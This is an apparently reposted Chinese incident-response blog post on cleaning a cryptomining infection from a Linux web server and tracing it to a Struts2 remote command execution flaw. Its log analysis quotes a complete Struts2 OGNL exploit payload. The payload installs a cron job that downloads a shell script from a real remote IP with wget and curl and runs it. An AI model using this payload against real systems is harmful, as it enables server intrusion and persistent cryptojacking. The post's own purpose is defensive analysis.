zoukankan      html  css  js  c++  java
  • Linux应急响应(三):挖矿病毒

    0x00 前言

    ​ 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式。新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率,通过利用永恒之蓝(EternalBlue)、web攻击多种漏洞(如Tomcat弱口令攻击、Weblogic WLS组件漏洞、Jboss反序列化漏洞、Struts2远程命令执行等),导致大量服务器被感染挖矿程序的现象 。

    0x01 应急场景

    ​ 某天,安全管理员在登录安全设备巡检时,发现某台网站服务器持续向境外IP发起连接,下载病毒源:

    0x02 事件分析

    A、排查过程

    登录服务器,查看系统进程状态,发现不规则命名的异常进程、异常下载进程 :

    下载logo.jpg,包含脚本内容如下:

    到这里,我们可以发现攻击者下载logo.jpg并执行了里面了shell脚本,那这个脚本是如何启动的呢?

    通过排查系统开机启动项、定时任务、服务等,在定时任务里面,发现了恶意脚本,每隔一段时间发起请求下载病毒源,并执行 。

    B、溯源分析

    ​ 在Tomcat log日志中,我们找到这样一条记录:

    对日志中攻击源码进行摘录如下:

    {(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh */19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh" | crontab -;wget -O - -q http://5.188.87.11/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

    可以发现攻击代码中的操作与定时任务中异常脚本一致,据此推断黑客通过Struct 远程命令执行漏洞向服务器定时任务中写入恶意脚本并执行。

    C、清除病毒

    1、删除定时任务:

    2、终止异常进程:

    D、漏洞修复

    ​ 升级struts到最新版本

    0x03 防范措施

    ​ 针对服务器被感染挖矿程序的现象,总结了几种预防措施:

    1、安装安全软件并升级病毒库,定期全盘扫描,保持实时防护
    2、及时更新 Windows安全补丁,开启防火墙临时关闭端口
    3、及时更新web漏洞补丁,升级web组件

    推荐阅读: 

    Linux应急响应(一):SSH暴力破解

    Linux应急响应(二):捕捉短连接

    Linux应急响应(三):挖矿病毒

    Linux应急响应(四):盖茨木马

     

    最后

    欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

     

  • 相关阅读:
    选中实现jquery实现复选框checkbox全选(完善)
    对话框control在对话框picture control中利用opengl进行绘图
    nullnull数字对象的常用处理方法NSNumber
    androidclassListView的Item含有CheckBox时的处理
    绘图对话框基于MFC对话框的OpenGL三维图形开发
    组织学习【学习笔记】《卓有成效的管理者》 第三章 我能贡献什么
    集合元素并查集
    开源请求程序员的黄金时代
    客户端生成nginx webdav配置
    情况虚拟化实战虚拟化存储设计之三MultiPathing
  • 原文地址:https://www.cnblogs.com/xiaozi/p/9751905.html
Copyright © 2011-2022 走看看